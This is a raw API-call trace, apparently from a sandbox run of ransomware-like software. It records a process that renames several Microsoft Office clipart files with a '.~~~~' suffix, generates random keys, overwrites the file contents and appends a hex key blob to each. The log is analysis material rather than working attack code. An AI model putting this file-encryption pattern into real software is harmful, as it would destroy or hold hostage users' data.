	[0104.515] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.~~~~")) returned 1
	[0104.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.536] GetLastError () returned 0x0
	[0104.545] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.573] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.573] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.573] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22456300350) returned 1
	[0104.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8008370, dwHighDateTime=0x1d60e1e)) 
	[0104.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c2f8
	[0104.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c2f8 | out: hHeap=0x300000) returned 1
	[0104.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869350
	[0104.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.573] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.574] GetLastError () returned 0x0
	[0104.574] GetLastError () returned 0x0
	[0104.574] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.574] GetLastError () returned 0x0
	[0104.574] GetLastError () returned 0x0
	[0104.578] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff99d6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.578] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x662a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x662a, lpOverlapped=0x0) returned 1
	[0104.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.579] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.580] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.580] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.580] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.580] CloseHandle (hObject=0x144) returned 1
	[0104.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.580] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf.~~~~")) returned 1
	[0104.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.581] GetLastError () returned 0x0
	[0104.581] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2941768) returned 1
	[0104.583] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.583] CryptReleaseContext (hProv=0x2941768, dwFlags=0x0) returned 1
	[0104.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.583] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22457317036) returned 1
	[0104.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa802e4d0, dwHighDateTime=0x1d60e1e)) 
	[0104.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c368
	[0104.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c368 | out: hHeap=0x300000) returned 1
	[0104.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869188
	[0104.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.584] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.584] GetLastError () returned 0x0
	[0104.584] GetLastError () returned 0x0
	[0104.584] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.584] GetLastError () returned 0x0
	[0104.584] GetLastError () returned 0x0
	[0104.587] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffeb7c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.587] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1484, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1484, lpOverlapped=0x0) returned 1
	[0104.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.588] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.588] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.588] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.589] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.589] CloseHandle (hObject=0x144) returned 1
	[0104.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.589] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf.~~~~")) returned 1
	[0104.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.590] GetLastError () returned 0x0
	[0104.590] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.591] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.592] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.592] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22458184825) returned 1
	[0104.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8054630, dwHighDateTime=0x1d60e1e)) 
	[0104.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c3a0
	[0104.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c3a0 | out: hHeap=0x300000) returned 1
	[0104.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869480
	[0104.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.592] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.593] GetLastError () returned 0x0
	[0104.593] GetLastError () returned 0x0
	[0104.593] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.593] GetLastError () returned 0x0
	[0104.593] GetLastError () returned 0x0
	[0104.595] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd84c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.595] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x27b4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x27b4, lpOverlapped=0x0) returned 1
	[0104.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.596] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.596] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.596] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.596] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.596] CloseHandle (hObject=0x144) returned 1
	[0104.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.596] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf.~~~~")) returned 1
	[0104.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.597] GetLastError () returned 0x0
	[0104.597] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.598] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.598] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.599] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22458871288) returned 1
	[0104.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8054630, dwHighDateTime=0x1d60e1e)) 
	[0104.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c3d8
	[0104.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c3d8 | out: hHeap=0x300000) returned 1
	[0104.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869518
	[0104.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.599] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.600] GetLastError () returned 0x0
	[0104.600] GetLastError () returned 0x0
	[0104.600] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.600] GetLastError () returned 0x0
	[0104.600] GetLastError () returned 0x0
	[0104.612] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffcfd4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.612] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x302c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x302c, lpOverlapped=0x0) returned 1
	[0104.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.613] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.613] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.613] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.613] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.613] CloseHandle (hObject=0x144) returned 1
	[0104.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.623] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf.~~~~")) returned 1
	[0104.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0104.625] GetLastError () returned 0x0
	[0104.626] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0104.628] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.628] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0104.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0104.628] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22461816217) returned 1
	[0104.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa80a08f0, dwHighDateTime=0x1d60e1e)) 
	[0104.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0104.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0104.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0104.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c448
	[0104.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.628] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c448 | out: hHeap=0x300000) returned 1
	[0104.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28695b0
	[0104.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.629] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0104.629] GetLastError () returned 0x0
	[0104.629] GetLastError () returned 0x0
	[0104.629] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0104.629] GetLastError () returned 0x0
	[0104.630] GetLastError () returned 0x0
	[0104.636] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe3f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.636] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1c0c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1c0c, lpOverlapped=0x0) returned 1
	[0104.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.637] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.637] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.637] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
